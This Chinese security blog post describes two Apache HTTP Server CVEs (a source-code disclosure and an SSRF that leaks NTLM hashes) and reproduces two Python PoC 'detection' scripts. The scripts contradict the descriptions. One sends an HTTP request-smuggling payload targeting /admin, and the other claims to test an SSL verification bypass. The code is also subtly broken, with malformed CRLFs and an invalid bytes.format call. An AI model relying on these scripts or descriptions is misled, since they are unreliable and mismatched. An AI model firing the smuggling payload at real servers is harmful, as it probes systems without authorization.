CVE-2024-40725|Apache HTTP Server 源代码泄露漏洞(POC)

2024-08-05 10:46:03 浏览数 (2)

0x00 前言

Apache HTTP Server(简称Apache),是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其具有的跨平台性和安全性,被广泛使用,是最流行的Web服务器端软件之一。

Apache HTTP Server的特点是简单、速度快、性能稳定、安全可靠,可通过简单的API进行扩展,并且集成了Perl、Python等语言解释器。

0x01 漏洞描述

ap_set_content_type_ex 函数用于设置请求的 content-type。

受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。

0x02 CVE编号

CVE-2024-40898:Apache HTTP Server on Windows SSRF漏洞

若在服务器或虚拟主机环境中使用 mod_rewrite 模块,存在服务器端请求伪造(SSRF)漏洞。该漏洞可能允许攻击者通过 SSRF 和恶意请求泄露 NTLM 哈希值到恶意服务器。

CVE-2024-40725:Apache HTTP Server 源代码泄露漏洞

ap_set_content_type_ex 函数用于设置请求的 content-type。

受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。

0x03 影响版本

http_server@[2.4.60, 2.4.62)

apache2@影响所有版本

0x04 漏洞详情

漏洞检查工具:

https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898

CVE-2024-40725.py

代码语言:javascript复制
import requests
import argparse

def detect_http_request_smuggling(target_url):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞

    :param target_url: 目標伺服器的 URL
    """
    # 構造 HTTP Request Smuggling 攻擊請求
    smuggled_request = (
        "POST / HTTP/1.1rn"
        "Host: {}rn"
        "Content-Length: 0rn"
        "Transfer-Encoding: chunkedrn"
        "rn"
        "0rnrn"
        "GET /admin HTTP/1.1rn"
        "Host: {}rn"
        "User-Agent: smuggle-testrn"
        "rn"
    ).format(target_url, target_url)

    try:
        # 發送請求到目標伺服器
        response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)

        # 判斷回應是否表示存在漏洞
        if response.status_code == 200 and "admin" in response.text:
            print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")
        else:
            print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")
    except Exception as e:
        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()
    detect_http_request_smuggling(args.url)

CVE-2024-40898 .py

代码语言:javascript复制
import ssl
import socket
import argparse

def detect_ssl_verification_bypass(target_host, target_port):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞

    :param target_host: 目標伺服器的主機名或 IP 地址
    :param target_port: 目標伺服器的端口號
    """
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.verify_mode = ssl.CERT_OPTIONAL

    try:
        # 連接目標伺服器
        with socket.create_connection((target_host, target_port)) as sock:
            with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                ssock.sendall(b"HEAD / HTTP/1.1rnHost: {}rnrn".format(target_host.encode()))
                response = ssock.recv(4096)

                # 判斷回應是否表示存在漏洞
                if b"200 OK" in response:
                    print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")
                else:
                    print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")
    except Exception as e:
        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()

    # 分割主機名和端口號
    target_host, target_port = args.url.split(":")
    detect_ssl_verification_bypass(target_host, int(target_port))

0x05 参考链接

https://httpd.apache.org/download.cgi

https://httpd.apache.org/security/vulnerabilities_24.html

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

0 人点赞